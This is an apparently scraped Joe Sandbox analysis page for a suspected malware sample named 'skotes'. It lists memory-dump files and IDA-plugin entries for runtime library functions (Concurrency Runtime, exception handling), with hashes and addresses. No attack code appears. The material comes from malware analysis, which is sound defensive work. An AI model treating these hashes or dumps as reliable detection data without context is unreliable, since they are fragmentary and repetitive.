Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: 806d9f62c88b06f08a6b19fdf30d3e87420ab64248ceb4622ab9c7903c99d53c
Instruction ID: c29cedfa1c672915a8dde69a7aa5398d1288e2c8e066d01cdd71ede5dd877c87
Opcode Fuzzy Hash: 806d9f62c88b06f08a6b19fdf30d3e87420ab64248ceb4622ab9c7903c99d53c
Instruction Fuzzy Hash: D081BF31A0865A9FCB28DFACD8D15AEB7F1FF4A304B6440ADE445EB250DB34AD45CB90

Function 00BA69DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00BA6A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00BA6A51
List.LIBCONCRT ref: 00BA6A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00BA6A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00BA6AB9
List.LIBCONCRT ref: 00BA6AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00BA6B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00BA6B20
List.LIBCONCRT ref: 00BA6B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00BA6B68

Part of subcall function 00BA5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00BA5EF7
Part of subcall function 00BA5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00BA5F09

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: f4d6ab2bf75dd94e450c9b31e1e3313aa7622d3d57b033e0080bf123f6b6c094
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: 495151B1A04209ABDF18DF64C495BEDB3E8FF49304F4540A9E915EB281DB74AE45CBA0

Function 00BB52A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 00BB53A0
type_info::operator==.LIBVCRUNTIME ref: 00BB53C7
___TypeMatch.LIBVCRUNTIME ref: 00BB54D3
IsInExceptionSpec.LIBVCRUNTIME ref: 00BB55AE
CallUnexpected.LIBVCRUNTIME ref: 00BB5650

Strings

csm, xrefs: 00BB53FE
csm, xrefs: 00BB534D
csm, xrefs: 00BB52E0

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: fceee1d243b429662645179417c0468a77e75643e5f0222b4a3e13771c0eaac3
Instruction ID: 390fcc9acef3c58ba1050388d12d1cf604dbcf80c4838df105c5e3f483a11682
Opcode Fuzzy Hash: fceee1d243b429662645179417c0468a77e75643e5f0222b4a3e13771c0eaac3
Instruction Fuzzy Hash: 8DC15771900A09AFCF35DFA4D880AFEBBF5FF14311B14419AE8066B212D7B1DA51CB92

Function 00BA7364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00BA73B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00BA73F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 00BA740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00BA7419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BA7440

Strings

ppVirtualProcessorRoots, xrefs: 00BA7438
count, xrefs: 00BA737E

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: 4908a7aa18ab399f986399947b3330c91fd5cbe07d32c5ffde024859f7e08d75
Instruction ID: 57e1291a093c18a5b0165780c6289a5e2f3be49daf31233f762b2de424a0e2f4
Opcode Fuzzy Hash: 4908a7aa18ab399f986399947b3330c91fd5cbe07d32c5ffde024859f7e08d75
Instruction Fuzzy Hash: 9F213034A48209AFCF14EF58C895AADBBF5EF0A350F1440E9E805A7351DF30AD05CB94

Function 00BA78E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00BA7903

Part of subcall function 00BA5CB8: __EH_prolog3_catch.LIBCMT ref: 00BA5CBF
Part of subcall function 00BA5CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00BA5CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00BA792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00BA7936

Part of subcall function 00BA5CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00BA5D70
Part of subcall function 00BA5CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00BA5D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00BA7982
Concurrency::location::_Assign.LIBCMT ref: 00BA79A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 00BA79AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00BA79BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 00BA79ED

Part of subcall function 00BA691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00BA6942
Part of subcall function 00BA691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00BA6965

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
